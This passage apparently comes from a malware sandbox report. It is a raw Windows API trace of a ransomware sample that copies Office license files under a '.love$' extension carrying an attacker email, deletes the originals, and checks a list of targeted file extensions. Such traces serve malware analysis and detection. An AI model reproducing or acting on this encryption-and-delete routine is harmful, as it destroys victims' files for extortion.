hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0272.829] SetEndOfFile (hFile=0x574) returned 1 [0272.833] CloseHandle (hObject=0x574) returned 1 [0272.833] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0272.890] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms")) returned 1 [0273.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0273.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0273.224] lstrlenW (lpString=".doc") returned 4 [0273.224] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0273.224] lstrlenW (lpString=".docx") returned 5 [0273.224] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0273.224] lstrlenW (lpString=".pdf") returned 4 [0273.224] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0273.224] lstrlenW (lpString=".xls") returned 4 [0273.224] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0273.224] lstrlenW (lpString=".xlsx") returned 5 [0273.224] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0273.224] lstrlenW (lpString=".ppt") returned 4 [0273.224] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0273.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0273.224] lstrlenW (lpString=".zip") returned 4 [0273.225] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0273.225] lstrlenW (lpString=".rar") returned 4 [0273.225] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0273.225] lstrlenW (lpString=".bz2") returned 4 [0273.225] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0273.225] lstrlenW (lpString=".7z") returned 3 [0273.225] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0273.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0273.225] lstrlenW (lpString=".dbf") returned 4 [0273.225] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0273.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0273.225] lstrlenW (lpString=".1cd") returned 4 [0273.225] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0273.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0273.225] lstrlenW (lpString=".jpg") returned 4 [0273.225] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0273.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0273.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0273.225] lstrlenW (lpString=".doc") returned 4 [0273.225] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0273.225] lstrlenW (lpString=".docx") returned 5 [0273.225] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0273.225] lstrlenW (lpString=".pdf") returned 4 [0273.225] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0273.225] lstrlenW (lpString=".xls") returned 4 [0273.225] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0273.225] lstrlenW (lpString=".xlsx") returned 5 [0273.225] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0273.225] lstrlenW (lpString=".ppt") returned 4 [0273.225] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0273.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0273.226] lstrlenW (lpString=".zip") returned 4 [0273.226] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0273.226] lstrlenW (lpString=".rar") returned 4 [0273.226] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0273.226] lstrlenW (lpString=".bz2") returned 4 [0273.226] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0273.226] lstrlenW (lpString=".7z") returned 3 [0273.226] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0273.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0273.226] lstrlenW (lpString=".dbf") returned 4 [0273.226] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0273.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0273.226] lstrlenW (lpString=".1cd") returned 4 [0273.226] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0273.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0273.226] lstrlenW (lpString=".jpg") returned 4 [0273.226] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0273.226] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0273.226] lstrlenW (lpString="O365BusinessR_Subscription-pl.xrm-ms") returned 36 [0273.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0273.825] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=11195) returned 1 [0273.825] CloseHandle (hObject=0x42c) returned 1 [0273.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-pl.xrm-ms")) returned 0x220 [0273.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0273.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0273.878] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.878] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0273.888] GetLastError () returned 0x0 [0273.888] ReadFile (in: hFile=0x580, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x2bbb, lpOverlapped=0x0) returned 1 [0273.890] WriteFile (in: hFile=0x388, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0273.892] ReadFile (in: hFile=0x580, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0273.892] WriteFile (in: hFile=0x388, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x11c, lpOverlapped=0x0) returned 1 [0273.892] SetEndOfFile (hFile=0x388) returned 1 [0273.892] CloseHandle (hObject=0x388) returned 1 [0273.892] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.892] SetEndOfFile (hFile=0x580) returned 1 [0273.896] CloseHandle (hObject=0x580) returned 1 [0273.896] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0273.896] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-pl.xrm-ms")) returned 1 [0273.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86 [0273.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86 [0273.898] lstrlenW (lpString=".doc") returned 4 [0273.898] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0273.898] lstrlenW (lpString=".docx") returned 5 [0273.898] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0273.898] lstrlenW (lpString=".pdf") returned 4 [0273.898] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0273.898] lstrlenW (lpString=".xls") returned 4 [0273.898] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0273.898] lstrlenW (lpString=".xlsx") returned 5 [0273.898] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0273.898] lstrlenW (lpString=".ppt") returned 4 [0273.898] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0273.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86 [0273.899] lstrlenW (lpString=".zip") returned 4 [0273.899] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0273.899] lstrlenW (lpString=".rar") returned 4 [0273.899] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0273.899] lstrlenW (lpString=".bz2") returned 4 [0273.899] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0273.899] lstrlenW (lpString=".7z") returned 3 [0273.899] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0273.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86 [0273.899] lstrlenW (lpString=".dbf") returned 4 [0273.899] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0273.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86 [0273.899] lstrlenW (lpString=".1cd") returned 4 [0273.899] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0273.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86 [0273.899] lstrlenW (lpString=".jpg") returned 4 [0273.899] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0273.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86 [0273.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86 [0273.899] lstrlenW (lpString=".doc") returned 4 [0273.899] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0273.899] lstrlenW (lpString=".docx") returned 5 [0273.900] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0273.900] lstrlenW (lpString=".pdf") returned 4 [0273.900] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0273.900] lstrlenW (lpString=".xls") returned 4 [0273.900] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0273.900] lstrlenW (lpString=".xlsx") returned 5 [0273.900] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0273.900] lstrlenW (lpString=".ppt") returned 4 [0273.900] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0273.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86 [0273.900] lstrlenW (lpString=".zip") returned 4 [0273.900] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0273.900] lstrlenW (lpString=".rar") returned 4 [0273.900] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0273.900] lstrlenW (lpString=".bz2") returned 4 [0273.900] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0273.900] lstrlenW (lpString=".7z") returned 3 [0273.900] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0273.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86 [0273.900] lstrlenW (lpString=".dbf") returned 4 [0273.900] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0273.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86 [0273.901] lstrlenW (lpString=".1cd") returned 4 [0273.901] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0273.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86 [0273.901] lstrlenW (lpString=".jpg") returned 4 [0273.901] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0273.901] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0273.901] lstrlenW (lpString="O365BusinessR_SubTrial-pl.xrm-ms") returned 32 [0273.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0273.904] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=11179) returned 1 [0273.904] CloseHandle (hObject=0x580) returned 1 [0273.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-pl.xrm-ms")) returned 0x220 [0273.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0273.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0273.906] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.906] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0273.908] GetLastError () returned 0x0 [0273.908] ReadFile (in: hFile=0x580, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x2bab, lpOverlapped=0x0) returned 1 [0273.910] WriteFile (in: hFile=0x388, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0273.912] ReadFile (in: hFile=0x580, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0273.913] WriteFile (in: hFile=0x388, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x114, lpOverlapped=0x0) returned 1 [0273.913] SetEndOfFile (hFile=0x388) returned 1 [0273.913] CloseHandle (hObject=0x388) returned 1 [0273.913] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.913] SetEndOfFile (hFile=0x580) returned 1 [0274.276] CloseHandle (hObject=0x580) returned 1 [0274.277] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0274.277] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-pl.xrm-ms")) returned 1 [0274.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82 [0274.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82 [0274.278] lstrlenW (lpString=".doc") returned 4 [0274.279] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0274.279] lstrlenW (lpString=".docx") returned 5 [0274.279] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0274.279] lstrlenW (lpString=".pdf") returned 4 [0274.279] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0274.279] lstrlenW (lpString=".xls") returned 4 [0274.279] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0274.279] lstrlenW (lpString=".xlsx") returned 5 [0274.279] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0274.279] lstrlenW (lpString=".ppt") returned 4 [0274.279] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0274.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82 [0274.279] lstrlenW (lpString=".zip") returned 4 [0274.279] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0274.279] lstrlenW (lpString=".rar") returned 4 [0274.279] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0274.279] lstrlenW (lpString=".bz2") returned 4 [0274.279] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0274.279] lstrlenW (lpString=".7z") returned 3 [0274.279] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0274.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82 [0274.279] lstrlenW (lpString=".dbf") returned 4 [0274.279] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0274.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82 [0274.279] lstrlenW (lpString=".1cd") returned 4 [0274.280] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0274.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82 [0274.280] lstrlenW (lpString=".jpg") returned 4 [0274.280] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0274.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82 [0274.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82 [0274.280] lstrlenW (lpString=".doc") returned 4 [0274.280] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0274.280] lstrlenW (lpString=".docx") returned 5 [0274.280] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0274.280] lstrlenW (lpString=".pdf") returned 4 [0274.280] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0274.280] lstrlenW (lpString=".xls") returned 4 [0274.280] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0274.280] lstrlenW (lpString=".xlsx") returned 5 [0274.280] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0274.280] lstrlenW (lpString=".ppt") returned 4 [0274.280] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0274.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82 [0274.280] lstrlenW (lpString=".zip") returned 4 [0274.280] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0274.280] lstrlenW (lpString=".rar") returned 4 [0274.280] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0274.280] lstrlenW (lpString=".bz2") returned 4 [0274.280] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0274.280] lstrlenW (lpString=".7z") returned 3 [0274.280] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0274.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82 [0274.281] lstrlenW (lpString=".dbf") returned 4 [0274.281] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0274.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82 [0274.281] lstrlenW (lpString=".1cd") returned 4 [0274.281] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0274.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82 [0274.281] lstrlenW (lpString=".jpg") returned 4 [0274.281] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0274.281] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0274.281] lstrlenW (lpString="O365HomePremR_Subscription1-pl.xrm-ms") returned 37 [0274.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0274.282] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=11199) returned 1 [0274.282] CloseHandle (hObject=0x580) returned 1 [0274.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-pl.xrm-ms")) returned 0x220 [0274.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0274.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0274.283] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.283] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0274.284] GetLastError () returned 0x0 [0274.284] ReadFile (in: hFile=0x580, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x2bbf, lpOverlapped=0x0) returned 1 [0274.286] WriteFile (in: hFile=0x57c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0274.287] ReadFile (in: hFile=0x580, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0274.287] WriteFile (in: hFile=0x57c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x11e, 